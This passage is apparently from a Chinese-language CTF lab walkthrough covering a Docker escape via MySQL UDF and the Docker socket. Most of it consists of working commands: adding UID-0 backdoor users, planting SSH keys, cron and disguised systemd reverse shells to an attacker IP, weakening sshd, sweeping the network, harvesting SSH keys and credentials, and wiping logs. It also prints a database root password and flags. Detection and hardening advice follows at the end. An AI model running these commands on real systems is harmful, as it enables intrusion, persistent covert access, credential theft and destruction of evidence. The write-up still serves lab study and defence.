  -e "SELECT LOAD_FILE('/tmp/shell_start.txt');" mysql

说明:启动成功时返回空。容器启动后,宿主机根目录被挂载到容器的 /host 目录。

7.1.2 收集宿主机信息

注意:由于我们是通过 MySQL UDF 执行命令,命令实际上在 MySQL 容器中运行。MySQL 容器本身没有 /host 目录,所以需要通过 Docker API 创建一次性容器来收集信息。

方法:创建一次性容器执行命令并获取输出

bash复制# 收集系统信息 - 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/etc/os-release\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/osinfo_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/osinfo_payload.json http://localhost/containers/create\" > /tmp/osinfo_create.txt 2>&1');" mysql

# 读取容器 ID
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/osinfo_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/osinfo_create.txt');" mysql

返回结果

json复制{"Id":"...容器ID...","Warnings":[]}

启动容器并获取输出

bash复制# 启动容器
CONTAINER_ID='上一步返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/osinfo_start.txt 2>&1');" mysql

sleep 2

# 获取容器日志(系统信息)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/os_info.txt 2>&1');" mysql

# 读取系统信息
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/os_info.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/os_info.txt');" mysql

同理,收集其他信息

bash复制# 收集内核版本
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"uname\",\"-a\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/kernel_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/kernel_payload.json http://localhost/containers/create\" > /tmp/kernel_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/kernel_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/kernel_create.txt');" mysql

# 获取容器 ID 后启动并获取日志
CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/kernel_start.txt 2>&1');" mysql

sleep 2

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/kernel.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/kernel.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/kernel.txt');" mysql

# 读取网络配置
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/hosts.txt');" mysql

收集的关键信息

信息类型用途
操作系统版本确定可用的提权漏洞
内核版本检查内核提权漏洞(如 DirtyPipe、DirtyCow)
用户列表识别高价值目标账户
SSH 配置确定 SSH 后门植入方式
定时任务寻找持久化机会
已安装服务识别可利用的服务

7.2 宿主机提权技术

7.2.1 检查 sudo 配置

注意:需要通过 Docker API 创建一次性容器来读取宿主机文件。

bash复制# 创建容器读取 sudoers 文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/etc/sudoers\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/sudoers_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/sudoers_payload.json http://localhost/containers/create\" > /tmp/sudoers_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/sudoers_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/sudoers_create.txt');" mysql

# 获取容器 ID 后启动并获取日志
CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/sudoers_start.txt 2>&1');" mysql

sleep 2

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/sudoers.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/sudoers.txt');" mysql

# 读取 sudo 配置
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/sudoers.txt');" mysql

常见的 sudo 提权配置错误

配置风险
NOPASSWD: ALL无需密码执行任意命令
(ALL) /usr/bin/vim通过 vim 逃逸获取 shell
(ALL) /usr/bin/find通过 find -exec 执行命令
env_keep+=LD_PRELOAD通过 LD_PRELOAD 注入恶意库

7.2.2 检查内核漏洞

bash复制# 获取内核版本
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/kernel.txt');" mysql

常见的 Linux 内核提权漏洞

CVE名称影响版本利用难度
CVE-2022-0847DirtyPipeLinux 5.8+
CVE-2021-4034PwnKitPolkit < 0.120
CVE-2021-3156Baron Sameditsudo < 1.9.5p2
CVE-2016-5195DirtyCowLinux 2.6.22-4.8

7.2.3 利用 Docker 特权访问

由于我们已经可以通过 Docker Socket 创建特权容器,实际上已经拥有了宿主机的 root 权限。可以通过创建一次性容器来修改宿主机文件:

bash复制# 通过 Docker API 创建容器,添加后门用户到宿主机的 /etc/passwd
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"sh\",\"-c\",\"echo backdoor:x:0:0::/root:/bin/bash >> /host/etc/passwd\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/backdoor_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/backdoor_payload.json http://localhost/containers/create\" > /tmp/backdoor_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/backdoor_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/backdoor_create.txt');" mysql

# 启动容器执行命令
CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/backdoor_start.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/backdoor_start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/backdoor_start.txt');" mysql

说明:启动成功时返回空。后门用户 backdoor 已添加到宿主机的 /etc/passwd,可以使用 su backdoor 切换到该用户(无需密码)。

7.3 APT 持久化技术

在真实的 APT 攻击中,攻击者会部署多种持久化机制,确保即使部分后门被发现,仍能保持对目标的访问。

重要提示:本节中所有涉及 /host/ 路径的命令都需要通过 Docker API 创建一次性容器来执行。具体方法参考 7.1.2 节和 7.2.3 节的示例。以下命令中的 Cmd 字段展示了需要在容器中执行的命令。

7.3.1 SSH 密钥后门

最隐蔽的持久化方式之一:将攻击者的 SSH 公钥添加到目标用户的 authorized_keys 文件中。

步骤 1:在 Kali 上生成 SSH 密钥对

bash复制# 生成 ED25519 密钥对(更安全、更短)
ssh-keygen -t ed25519 -f /tmp/backdoor_key -N "" -q

# 查看生成的密钥
ls -la /tmp/backdoor_key*
# -rw------- 1 kali kali  411 Jan 22 15:10 /tmp/backdoor_key      # 私钥
# -rw-r--r-- 1 kali kali   96 Jan 22 15:10 /tmp/backdoor_key.pub  # 公钥

# 读取公钥内容
cat /tmp/backdoor_key.pub
# 输出示例:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... kali@kali

步骤 2:构造 JSON Payload 并写入目标

技巧:使用 shell 变量和 heredoc 语法可以避免手动转义公钥中的特殊字符。

bash复制# 读取公钥到变量
PUBKEY=$(cat /tmp/backdoor_key.pub)

# 使用 heredoc 构造 SQL 语句(自动处理变量替换)
cat > ssh_payload.sql <<EOF
SELECT '{"Image":"mysql:5.7","Cmd":["/bin/sh","-c","mkdir -p /host/root/.ssh && echo $PUBKEY >> /host/root/.ssh/authorized_keys && chmod 600 /host/root/.ssh/authorized_keys && chmod 700 /host/root/.ssh"],"HostConfig":{"Binds":["/:/host"]}}' INTO OUTFILE '/tmp/ssh_backdoor.json';
EOF

# 执行 SQL 写入 JSON payload
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N < ssh_payload.sql

步骤 3:创建并启动容器

bash复制# 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/ssh_backdoor.json http://localhost/containers/create?name=ssh_backdoor\" > /tmp/ssh_create.txt 2>&1');" mysql

# 读取创建结果,获取容器 ID
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/ssh_create.txt'); SELECT LOAD_FILE('/tmp/ssh_create.txt');" mysql

返回结果

json复制{"Id":"7f2706555bac43509eada00193eecb497f1a236dce5c18fae406a222cdc97a4b","Warnings":[]}

步骤 4:启动容器执行命令

bash复制# 使用上一步返回的容器 ID
CONTAINER_ID='7f2706555bac43509eada00193eecb497f1a236dce5c18fae406a222cdc97a4b'

# 启动容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/ssh_start.txt 2>&1');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,文件内容为空表示启动成功。

步骤 5:验证 SSH 后门

bash复制# 使用私钥 SSH 登录宿主机(无需密码)
ssh -o StrictHostKeyChecking=no -i /tmp/backdoor_key root@10.10.1.187

# 验证成功后可以看到:
# root@localhost:~# whoami
# root
# root@localhost:~# cat /flag
# flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}

SSH 后门的优势

  • 流量加密,难以被 IDS 检测
  • 使用标准端口(22),不易引起怀疑
  • 无需修改系统二进制文件
  • 私钥保存在攻击机,目标机只有公钥

故障排除:如果遇到容器名冲突(The container name is already in use),需要先清理已停止的容器:

bash复制# 删除所有已停止的容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/prune\" > /tmp/prune.txt 2>&1');" mysql

# 查看清理结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/prune.txt'); SELECT LOAD_FILE('/tmp/prune.txt');" mysql

7.3.2 Cron 定时任务后门

利用 cron 定时任务实现持久化反弹 shell。

注意:由于我们已经通过 SSH 密钥后门获得了宿主机的直接访问权限,可以直接通过 SSH 操作宿主机,无需再通过 Docker API。

方法一:通过 SSH 后门直接操作(推荐)

bash复制# 先通过 SSH 后门登录宿主机
ssh -i /tmp/backdoor_key root@10.10.1.187

# 添加每分钟执行的反弹 shell cron 任务
echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.1.79/4444 0>&1"' >> /etc/crontab

# 验证 cron 任务已添加
tail -3 /etc/crontab

方法二:通过 Docker API 操作

bash复制# 使用 MySQL 直接写入 JSON payload
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/sh\",\"-c\",\"echo \\\"* * * * * root /bin/bash -c /bin/bash -i >& /dev/tcp/10.10.1.79/4444 0>&1\\\" >> /host/etc/crontab\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/cron_backdoor.json';" mysql

# 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/cron_backdoor.json http://localhost/containers/create?name=cron_backdoor\" > /tmp/cron_create.txt 2>&1');" mysql

# 设置文件权限并读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/cron_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/cron_create.txt');" mysql

返回结果

json复制{"Id":"...容器ID...","Warnings":[]}

启动容器执行命令

bash复制# 使用返回的容器 ID 启动容器
CONTAINER_ID='上一步返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/cron_start.txt 2>&1');" mysql

# 检查启动结果(可选,成功时返回空)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/cron_start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/cron_start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回空,文件内容为空表示启动成功。

在 Kali 上监听并验证

bash复制# 开启监听(等待最多 1 分钟即可收到连接)
nc -lvnp 4444

# 成功连接后会看到:
# listening on [any] 4444 ...
# connect to [10.10.1.79] from (UNKNOWN) [10.10.1.187] 43914
# bash: 无法设定终端进程组(28715): 对设备不适当的 ioctl 操作
# bash: 此 shell 中无任务控制
# [root@localhost ~]#

清理测试后门(验证完成后执行):

bash复制# 通过 SSH 登录宿主机删除 cron 后门
ssh -i /tmp/backdoor_key root@10.10.1.187 \
  "sed -i '/\\/dev\\/tcp\\/10.10.1.79\\/4444/d' /etc/crontab"

7.3.3 Systemd 服务后门

创建一个伪装成合法服务的 systemd 后门:

bash复制# 创建恶意服务文件
SERVICE_FILE='[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.1.79/4445 0>&1"
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target'

# 写入服务文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"$SERVICE_FILE\\\" > /host/etc/systemd/system/system-update.service\" 2>&1');" mysql

# 启用服务(需要在宿主机上执行 systemctl daemon-reload)

Systemd 后门的优势

  • 开机自启动
  • 自动重启(即使被杀死)
  • 伪装成系统服务,不易被发现

7.3.4 修改 SSHD 配置

允许 root 用户通过 SSH 登录,并启用密码认证:

bash复制# 修改 sshd_config
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"sed -i \\\"s/PermitRootLogin.*/PermitRootLogin yes/\\\" /host/etc/ssh/sshd_config\" 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"sed -i \\\"s/PasswordAuthentication.*/PasswordAuthentication yes/\\\" /host/etc/ssh/sshd_config\" 2>&1');" mysql

7.3.5 创建隐藏用户

创建一个 UID 为 0 的隐藏用户(与 root 具有相同权限):

bash复制# 生成密码哈希(密码为 "P@ssw0rd")
# 使用 openssl: openssl passwd -6 -salt xyz P@ssw0rd

PASSWD_HASH='$6$xyz$...'  # 实际哈希值

# 添加隐藏用户到 /etc/passwd 和 /etc/shadow
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"sysadmin:x:0:0:System Administrator:/root:/bin/bash\\\" >> /host/etc/passwd\" 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -c \"echo \\\"sysadmin:$PASSWD_HASH:19000:0:99999:7::::\\\" >> /host/etc/shadow\" 2>&1');" mysql

7.4 横向移动准备

重要提示:以下命令中涉及 /host/ 路径的操作,都需要通过 Docker API 创建一次性容器来执行,因为 MySQL 容器本身没有 /host 目录。具体方法参考 7.1.2 节的示例。

7.4.1 收集网络信息

扫描内网存活主机(此命令在 MySQL 容器内执行,不需要 /host):

bash复制mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"for i in \$(seq 1 254); do ping -c 1 -W 1 10.10.1.\$i 2>/dev/null | grep -q 64 && echo 10.10.1.\$i; done > /tmp/alive_hosts.txt\" 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/alive_hosts.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/alive_hosts.txt');" mysql

查看 ARP 缓存(需要通过 Docker API 创建容器):

bash复制# 创建容器读取宿主机 ARP 缓存
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/proc/net/arp\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/arp_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/arp_payload.json http://localhost/containers/create\" > /tmp/arp_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/arp_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/arp_create.txt');" mysql

# 启动容器并获取日志
CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/arp_start.txt 2>&1');" mysql

sleep 2

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/arp.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/arp.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/arp.txt');" mysql

7.4.2 收集凭据

注意:以下所有涉及 /host/ 路径的命令都需要通过 Docker API 创建一次性容器执行。这里以收集 SSH 私钥为例展示完整步骤:

bash复制# 创建容器查找 SSH 私钥
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host/home\",\"-name\",\"id_rsa\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/sshkeys_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/sshkeys_payload.json http://localhost/containers/create\" > /tmp/sshkeys_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/sshkeys_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/sshkeys_create.txt');" mysql

# 启动容器并获取日志
CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/sshkeys_start.txt 2>&1');" mysql

sleep 2

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/ssh_keys.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/ssh_keys.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/ssh_keys.txt');" mysql

其他凭据收集(使用相同的 Docker API 方法):

  • bash 历史记录Cmd: ["cat", "/host/root/.bash_history"]
  • 配置文件Cmd: ["sh", "-c", "find /host -name '*.conf' -exec grep -l password {} \\;"]

7.5 清理痕迹

在完成攻击后,APT 攻击者通常会清理日志和痕迹。

注意:以下命令需要通过 Docker API 创建一次性容器执行,因为涉及 /host/ 路径。方法与 7.1.2 节相同。

清理命令示例(需要创建容器执行):

  • 清理 bash 历史Cmd: ["sh", "-c", "echo '' > /host/root/.bash_history"]
  • 清理认证日志Cmd: ["sh", "-c", "echo '' > /host/var/log/auth.log"]
  • 清理 syslogCmd: ["sh", "-c", "echo '' > /host/var/log/syslog"]

注意:在合法的渗透测试中,清理痕迹通常不是必需的,但了解攻击者的行为有助于防御。

7.6 持久化技术对比

技术隐蔽性可靠性检测难度推荐场景
SSH 密钥后门5/55/5长期潜伏
Cron 定时任务3/54/5定期回连
Systemd 服务4/55/5中高持续访问
隐藏用户2/55/5备用入口
修改 SSHD3/54/5快速部署

7.7 防御建议

7.7.1 检测持久化后门

bash复制# 检查异常 SSH 密钥
find /home -name "authorized_keys" -exec cat {} \;
cat /root/.ssh/authorized_keys

# 检查异常 cron 任务
cat /etc/crontab
ls -la /etc/cron.d/
for user in $(cut -f1 -d: /etc/passwd); do crontab -l -u $user 2>/dev/null; done

# 检查异常 systemd 服务
systemctl list-unit-files --type=service | grep enabled
ls -la /etc/systemd/system/

# 检查 UID 为 0 的用户
awk -F: '$3 == 0 {print $1}' /etc/passwd

# 检查异常网络连接
netstat -antup | grep ESTABLISHED
ss -antup | grep ESTABLISHED

7.7.2 加固措施

  1. SSH 加固bash复制# 禁用 root 登录 PermitRootLogin no # 禁用密码认证 PasswordAuthentication no # 限制 SSH 用户 AllowUsers admin
  2. 文件完整性监控bash复制# 使用 AIDE 监控关键文件 aide --init aide --check
  3. 日志集中管理
    • 将日志发送到远程 syslog 服务器
    • 使用 SIEM 系统进行实时监控
  4. 定期安全审计
    • 使用 Lynis 进行系统安全审计
    • 定期检查用户账户和权限

第八章 攻击链总结

8.1 完整攻击路径

Diagram

8.2 Flag 汇总

Flag位置获取方式
flag1flag1{75813557-25c4-456c-8a44-6a4d4c62c859}数据库SQL 注入提取
flag2flag2{e25ce9d8-dc48-426c-92db-4d07899b4f75}MySQL 容器 /flagSUID nohup 提权
flag3flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}宿主机 /flagDocker 逃逸

8.3 涉及的安全漏洞

  1. 源码泄露:vim 交换文件未清理
  2. SQL 注入:用户输入未经充分过滤直接拼接 SQL
  3. 文件上传漏洞:允许上传 .htaccess 文件
  4. 数据库凭据泄露:环境变量中存储明文密码
  5. UDF 提权:MySQL root 权限 + secure_file_priv 未限制
  6. SUID 配置不当:nohup 不应该有 SUID 权限
  7. Docker 配置不当:容器内可访问 Docker socket

第九章 防御建议总结

9.1 开发安全

  1. 使用参数化查询防止 SQL 注入
  2. 实施严格的文件上传白名单验证
  3. 不要在代码或环境变量中存储明文密码
  4. 定期清理开发过程中产生的临时文件

9.2 系统安全

  1. 最小化 SUID 程序数量
  2. 定期审计系统权限配置
  3. 使用 Linux capabilities 替代 SUID
  4. 配置 MySQL secure_file_priv 限制文件操作

9.3 容器安全

  1. 不要将 Docker socket 挂载到容器中
  2. 使用非 root 用户运行容器
  3. 移除容器中不必要的工具和权限
  4. 配置适当的安全策略(AppArmor/SELinux)

附录:常用命令速查

bash复制# Nmap 扫描
nmap -sT -sV -p- TARGET_IP

# SQL 注入测试
curl -s -X POST "http://TARGET/login" -d 'username=admin\&password= or 1=1-- '

# 文件上传
curl -s -X POST "http://TARGET/upload.php" -F "file=@/path/to/file"

# MySQL UDF 提权
mysql -h HOST -u root -pPASS -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';"

# 查找 SUID 文件
find / -perm -u=s -type f 2>/dev/null

# Docker API 调用
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

核桃大魔王